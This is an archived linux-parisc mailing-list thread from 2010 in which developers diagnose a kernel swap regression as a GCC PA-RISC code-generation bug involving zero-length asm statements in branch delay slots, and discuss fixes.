List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3280
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3280>

On Sun, 12 Dec 2010, Guy Martin wrote:

> On Sun, 12 Dec 2010 14:21:47 -0500 (EST)
> "John David Anglin" <dave@hiauly1.hia.nrc.ca> wrote:
> 
> > Hmmm, I didn't think we allowed call instructions in the delay slot of
> > a branch.  Even though nullified, I think there were issues on some
> > processors.  Is an asm involved?
> 
> I forgot to say that I've been testing this on my C3600.
> What do you mean by "Is an asm involved?" ?

Internally, the PA backend keeps track of "insn" types using an attribute
mechanism.  This is what keeps calls out of the delay slot of branches, etc.

asms can do stuff that GCC doesn't know about and this can cause
wrong code issues.  I was just speculating.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.36 regression : swap support broken
Date: Sun, 12 Dec 2010 17:52:04 -0500
Organization: nrc.ca
Lines: 77
Approved: news@gmane.org
Message-ID: <20101212225203.GA9809@hiauly1.hia.nrc.ca>
References: <20101212193856.15f93ea4@borg.bxl.tuxicoman.be> <20101212192148.079834CF3@hiauly1.hia.nrc.ca> <20101212203322.21537607@borg.bxl.tuxicoman.be> <20101212202258.GA9184@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1292194333 7832 80.91.229.12 (12 Dec 2010 22:52:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Dec 2010 22:52:13 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, eike-kernel@sf-tec.de
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 12 23:52:09 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PRulz-0001eI-GQ
	for glpp-linux-parisc@lo.gmane.org; Sun, 12 Dec 2010 23:52:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752272Ab0LLWwH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Dec 2010 17:52:07 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1640 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751351Ab0LLWwG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Dec 2010 17:52:06 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 27AD94CF3; Sun, 12 Dec 2010 17:52:04 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20101212202258.GA9184@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3281
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3281>

On Sun, 12 Dec 2010, John David Anglin wrote:

> On Sun, 12 Dec 2010, Guy Martin wrote:
> 
> > On Sun, 12 Dec 2010 14:21:47 -0500 (EST)
> > "John David Anglin" <dave@hiauly1.hia.nrc.ca> wrote:
> > 
> > > Hmmm, I didn't think we allowed call instructions in the delay slot of
> > > a branch.  Even though nullified, I think there were issues on some
> > > processors.  Is an asm involved?
> > 
> > I forgot to say that I've been testing this on my C3600.
> > What do you mean by "Is an asm involved?" ?
> 
> Internally, the PA backend keeps track of "insn" types using an attribute
> mechanism.  This is what keeps calls out of the delay slot of branches, etc.
> 
> asms can do stuff that GCC doesn't know about and this can cause
> wrong code issues.  I was just speculating.

This is a GCC PA bug.  The code generation is wrong for this RTL:

(jump_insn 13 10 14 (set (pc)
        (if_then_else (eq (zero_extract:SI (reg:SI 28 %r28 [orig:100 D.22506 ] [100])
		    (const_int 1 [0x1])
		    (const_int 28 [0x1c]))
		(const_int 0 [0]))
	    (label_ref 16)
	    (pc))) include/linux/page-flags.h:297 29 {*pa.md:1610}
     (expr_list:REG_BR_PRED (const_int 5 [0x5])
        (expr_list:REG_DEAD (reg:SI 28 %r28 [orig:100 D.22506 ] [100])
	    (expr_list:REG_BR_PROB (const_int 5000 [0x1388])
		(nil))))
 -> 16)

(note 14 13 15 [bb 3] NOTE_INSN_BASIC_BLOCK)

(insn:TI 15 14 16 (parallel [
            (asm_operands/v ("") ("") 0 []
		 []
		 [] mm/swap_state.c:185)
	    (clobber (mem:BLK (scratch) [0 A8]))
	]) include/linux/page-flags.h:298 -1
    (nil))

(code_label 16 15 17 15 "" [1 uses])

(note 17 16 19 [bb 4] NOTE_INSN_BASIC_BLOCK)

(note 19 17 107 NOTE_INSN_DELETED)

(insn 107 19 122 (sequence [
            (call_insn:TI 18 19 4 (parallel [
			(set (reg:SI 28 %r28)
			    (call (mem:SI (symbol_ref/v:SI ("@get_swap_page") [flags 0x41]  <function_decl 0x40ae6280 get_swap_page>) [0 S4 A32])
...

The output_bb code used for jump_insn 13 is confused by the memory
clobber asm.  There should be a nop after the bb instruction as a
conditional branch to the following instruction is asking for disaster.
Some situations where a nop is needed are already covered, but you
have found a new one.

I created a GCC PR:
http://gcc.gnu.org/bugzilla/show_bug.cgi?id=46915

This may affect other conditional branches...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.36 regression : swap support broken
Date: Sun, 12 Dec 2010 18:55:53 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <20101212235557.7E7244E33@hiauly1.hia.nrc.ca>
References: <20101212225203.GA9809@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1292198229 22411 80.91.229.12 (12 Dec 2010 23:57:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Dec 2010 23:57:09 +0000 (UTC)
Cc: gmsoft@tuxicoman.be, linux-parisc@vger.kernel.org,
	eike-kernel@sf-tec.de
To: dave.anglin@nrc-cnrc.gc.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 13 00:57:03 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PRvmp-0007hI-Dm
	for glpp-linux-parisc@lo.gmane.org; Mon, 13 Dec 2010 00:57:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754688Ab0LLX4J (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Dec 2010 18:56:09 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1646 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753235Ab0LLX4G (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Dec 2010 18:56:06 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7E7244E33; Sun, 12 Dec 2010 18:55:56 -0500 (EST)
In-Reply-To: <20101212225203.GA9809@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 12, 2010 05:52:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3283
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3283>

> (insn:TI 15 14 16 (parallel [
>             (asm_operands/v ("") ("") 0 []
> 		 []
> 		 [] mm/swap_state.c:185)
> 	    (clobber (mem:BLK (scratch) [0 A8]))
> 	]) include/linux/page-flags.h:298 -1
>     (nil))

I think the way to avoid this in the kernel is to stick a "nop" in
the memory barrier.  That will avoid a zero length asm and branching
into the delay slot.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.36 regression : swap support broken
Date: Sun, 12 Dec 2010 19:03:03 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <20101213000303.EAF4D4CF3@hiauly1.hia.nrc.ca>
References: <20101212235557.7E7244E33@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1292198604 23746 80.91.229.12 (13 Dec 2010 00:03:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 13 Dec 2010 00:03:24 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, gmsoft@tuxicoman.be,
	linux-parisc@vger.kernel.org, eike-kernel@sf-tec.de
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 13 01:03:19 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PRvst-0001Id-4C
	for glpp-linux-parisc@lo.gmane.org; Mon, 13 Dec 2010 01:03:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755548Ab0LMADH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Dec 2010 19:03:07 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1649 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755553Ab0LMADF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Dec 2010 19:03:05 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id EAF4D4CF3; Sun, 12 Dec 2010 19:03:03 -0500 (EST)
In-Reply-To: <20101212235557.7E7244E33@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 12, 2010 06:55:53 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3284
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3284>

> > (insn:TI 15 14 16 (parallel [
> >             (asm_operands/v ("") ("") 0 []
> > 		 []
> > 		 [] mm/swap_state.c:185)
> > 	    (clobber (mem:BLK (scratch) [0 A8]))
> > 	]) include/linux/page-flags.h:298 -1
> >     (nil))
> 
> I think the way to avoid this in the kernel is to stick a "nop" in
> the memory barrier.  That will avoid a zero length asm and branching
> into the delay slot.

A further reason is GCC does not know the length of asm insns.  So,
using a zero length asm on parisc is asking for trouble.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.36 regression : swap support broken
Date: Mon, 13 Dec 2010 07:52:02 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <AANLkTi=5zJeqGSp7QpscVN6k8D-d2NhknzGJmxd8mWcZ@mail.gmail.com>
References: <20101212235557.7E7244E33@hiauly1.hia.nrc.ca>
	<20101213000303.EAF4D4CF3@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1292244734 32422 80.91.229.12 (13 Dec 2010 12:52:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 13 Dec 2010 12:52:14 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, gmsoft@tuxicoman.be,
	linux-parisc@vger.kernel.org, eike-kernel@sf-tec.de
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 13 13:52:08 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PS7ss-0005AR-0H
	for glpp-linux-parisc@lo.gmane.org; Mon, 13 Dec 2010 13:52:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757494Ab0LMMwF convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Dec 2010 07:52:05 -0500
Original-Received: from mail-bw0-f45.google.com ([209.85.214.45]:37497 "EHLO
	mail-bw0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757469Ab0LMMwE convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Dec 2010 07:52:04 -0500
Original-Received: by bwz16 with SMTP id 16so6543739bwz.4
        for <linux-parisc@vger.kernel.org>; Mon, 13 Dec 2010 04:52:02 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=UTO5ATK0t9xwRsKjK+OB32Qn8UfDx/hvjxeRG/qM4gk=;
        b=gWL7K0JU1a7zLFK2T76iV+nRLaFH4iBvelK9es9lrwsbduUsUVTkTGa6etzpjauCjI
         +lqLWjYatK72j7hxOxpn2KQ7x2xiOMu6LFmt8eLgFPthiqh1ni1scjKGiA+K4Lx65Wcg
         BFGpxh3EwnU02kvUAeqanuARAK2ffRmed3M0A=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=knTyj4nZol2daHyF01qxAIEkJP33zQ07N5qF5XIRnoJifL+f7iuZko46AptsM+Af2C
         wRsBRcnkPCNJdh+SgBrbKneOJPeSPG7s2DA9+LVamJaPtrkb4tiSv/cfWpacT0R8OAS3
         Eek0Q0rGyMDbZozIwT0yKa82IgYcvgz2YmwXY=
Original-Received: by 10.204.32.145 with SMTP id c17mr3579111bkd.155.1292244722513;
 Mon, 13 Dec 2010 04:52:02 -0800 (PST)
Original-Received: by 10.204.231.201 with HTTP; Mon, 13 Dec 2010 04:52:02 -0800 (PST)
In-Reply-To: <20101213000303.EAF4D4CF3@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 0VniYHfWhW8sle8lzeefjakZ36M
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3285
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3285>

On Sun, Dec 12, 2010 at 7:03 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> > (insn:TI 15 14 16 (parallel [
>> > =A0 =A0 =A0 =A0 =A0 =A0 (asm_operands/v ("") ("") 0 []
>> > =A0 =A0 =A0 =A0 =A0 =A0 =A0[]
>> > =A0 =A0 =A0 =A0 =A0 =A0 =A0[] mm/swap_state.c:185)
>> > =A0 =A0 =A0 =A0 (clobber (mem:BLK (scratch) [0 A8]))
>> > =A0 =A0 ]) include/linux/page-flags.h:298 -1
>> > =A0 =A0 (nil))
>>
>> I think the way to avoid this in the kernel is to stick a "nop" in
>> the memory barrier. =A0That will avoid a zero length asm and branchi=
ng
>> into the delay slot.
>
> A further reason is GCC does not know the length of asm insns. =A0So,
> using a zero length asm on parisc is asking for trouble.

The problem is that many applications (including glibc IIRC) expect a
zero length asm volatile to work correctly. Althought it's asking for
trouble, I think it's one of these expected things that just has to
work :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.36 regression : swap support broken
Date: Mon, 13 Dec 2010 08:06:45 -0500 (EST)
Lines: 34
Approved: news@gmane.org
Message-ID: <20101213130646.14CD44E2A@hiauly1.hia.nrc.ca>
References: <AANLkTi=5zJeqGSp7QpscVN6k8D-d2NhknzGJmxd8mWcZ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1292245614 4057 80.91.229.12 (13 Dec 2010 13:06:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 13 Dec 2010 13:06:54 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, gmsoft@tuxicoman.be,
	linux-parisc@vger.kernel.org, eike-kernel@sf-tec.de
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 13 14:06:49 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PS876-0002T2-HG
	for glpp-linux-parisc@lo.gmane.org; Mon, 13 Dec 2010 14:06:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757571Ab0LMNGs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Dec 2010 08:06:48 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1673 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757530Ab0LMNGr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Dec 2010 08:06:47 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 14CD44E2A; Mon, 13 Dec 2010 08:06:45 -0500 (EST)
In-Reply-To: <AANLkTi=5zJeqGSp7QpscVN6k8D-d2NhknzGJmxd8mWcZ@mail.gmail.com> from "Carlos O'Donell" at Dec 13, 2010 07:52:02 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3286
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3286>

> >> I think the way to avoid this in the kernel is to stick a "nop" in
> >> the memory barrier. =A0That will avoid a zero length asm and branching
> >> into the delay slot.

This adds about 17000 odd nops ;(

> > A further reason is GCC does not know the length of asm insns. =A0So,
> > using a zero length asm on parisc is asking for trouble.
> 
> The problem is that many applications (including glibc IIRC) expect a
> zero length asm volatile to work correctly. Althought it's asking for
> trouble, I think it's one of these expected things that just has to
> work :-)

Most targets don't have to deal with delay branch sequences and the
fact that the hardware can't deal with a branch to the delay slot.

As I have learned this morning, the length calculated for asms is just
an estimate.  It can be confused by comments, etc.  So, gcc is going to
have to add a nop when it finds an asm after a branch because the size
estimate is unreliable.

I had tried to fix this before but missed the asm_operands case.  The
branch type selection (useskip) also needs to check for asms ;(

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.36 regression : swap support broken
Date: Mon, 13 Dec 2010 09:47:22 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <AANLkTi=Ebv-afncbi4DV2zxTNi1qQiwFjk2e4LL=KvoM@mail.gmail.com>
References: <AANLkTi=5zJeqGSp7QpscVN6k8D-d2NhknzGJmxd8mWcZ@mail.gmail.com>
	<20101213130646.14CD44E2A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1292251651 15178 80.91.229.12 (13 Dec 2010 14:47:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 13 Dec 2010 14:47:31 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, gmsoft@tuxicoman.be,
	linux-parisc@vger.kernel.org, eike-kernel@sf-tec.de
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 13 15:47:27 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PS9gT-00083a-Nz
	for glpp-linux-parisc@lo.gmane.org; Mon, 13 Dec 2010 15:47:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754044Ab0LMOrY convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Dec 2010 09:47:24 -0500
Original-Received: from mail-bw0-f45.google.com ([209.85.214.45]:44625 "EHLO
	mail-bw0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754000Ab0LMOrY convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Dec 2010 09:47:24 -0500
Original-Received: by bwz16 with SMTP id 16so6676221bwz.4
        for <linux-parisc@vger.kernel.org>; Mon, 13 Dec 2010 06:47:23 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=TH5T67e4r8IO5I4fwD1zPhA7gTMbecf8nRHVmfvdWGA=;
        b=EBdpP051kUM9Lr5kHHp6pfvksew/IWbeVKgDa2nd5DeAVQ0OTp5n8z+Aij0GboXx8w
         aUW4Qd/WVeDrBdOvjUHKRGgBzWdtueNwK2eDglZOgHBIhiKvEGvdmfV1NWyn9NMc8fV9
         8b7hOSBSduWODTwweiEfIndDNchflLL2bBwyM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=uduYyE9mGhCmRmbts2V04/azWb2ERAJqjIQfQHJqRfenOrOBq4S/APyGrpZOIBaEZJ
         ln6Hl53tyPHJ1bNceAOdPHg/+7/DYh4qBh3Fv2J/q7AaqOxuI0BBw1qgHlmWv8NK1MxZ
         o0SDIVjsQdm93cKGsVe/Z8fKABB+iO4ZdKWXo=
Original-Received: by 10.204.52.136 with SMTP id i8mr3761790bkg.74.1292251642967; Mon,
 13 Dec 2010 06:47:22 -0800 (PST)
Original-Received: by 10.204.231.201 with HTTP; Mon, 13 Dec 2010 06:47:22 -0800 (PST)
In-Reply-To: <20101213130646.14CD44E2A@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: zipvxvvUDAK3Hw66GnqqFLWlHWk
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3287
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3287>

On Mon, Dec 13, 2010 at 8:06 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> >> I think the way to avoid this in the kernel is to stick a "nop" i=
n
>> >> the memory barrier. =3DA0That will avoid a zero length asm and br=
anching
>> >> into the delay slot.
>
> This adds about 17000 odd nops ;(
>
>> > A further reason is GCC does not know the length of asm insns. =3D=
A0So,
>> > using a zero length asm on parisc is asking for trouble.
>>
>> The problem is that many applications (including glibc IIRC) expect =
a
>> zero length asm volatile to work correctly. Althought it's asking fo=
r
>> trouble, I think it's one of these expected things that just has to
>> work :-)
>
> Most targets don't have to deal with delay branch sequences and the
> fact that the hardware can't deal with a branch to the delay slot.
>
> As I have learned this morning, the length calculated for asms is jus=
t
> an estimate. =A0It can be confused by comments, etc. =A0So, gcc is go=
ing to
> have to add a nop when it finds an asm after a branch because the siz=
e
> estimate is unreliable.
>
> I had tried to fix this before but missed the asm_operands case. =A0T=
he
> branch type selection (useskip) also needs to check for asms ;(

=46or the record I have noticed at least 3 failures in branch delay
slots over the past few years, all fixed by -fno-dbr (sp?), so it's
quite possible these were the same problem?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.alsa.devel
Subject: [PATCH 0/5] trivia: Use vsprintf extension %pR
Date: Mon, 13 Dec 2010 13:42:17 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <cover.1292276119.git.joe@perches.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1292276553 18341 80.91.229.12 (13 Dec 2010 21:42:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 13 Dec 2010 21:42:33 +0000 (UTC)
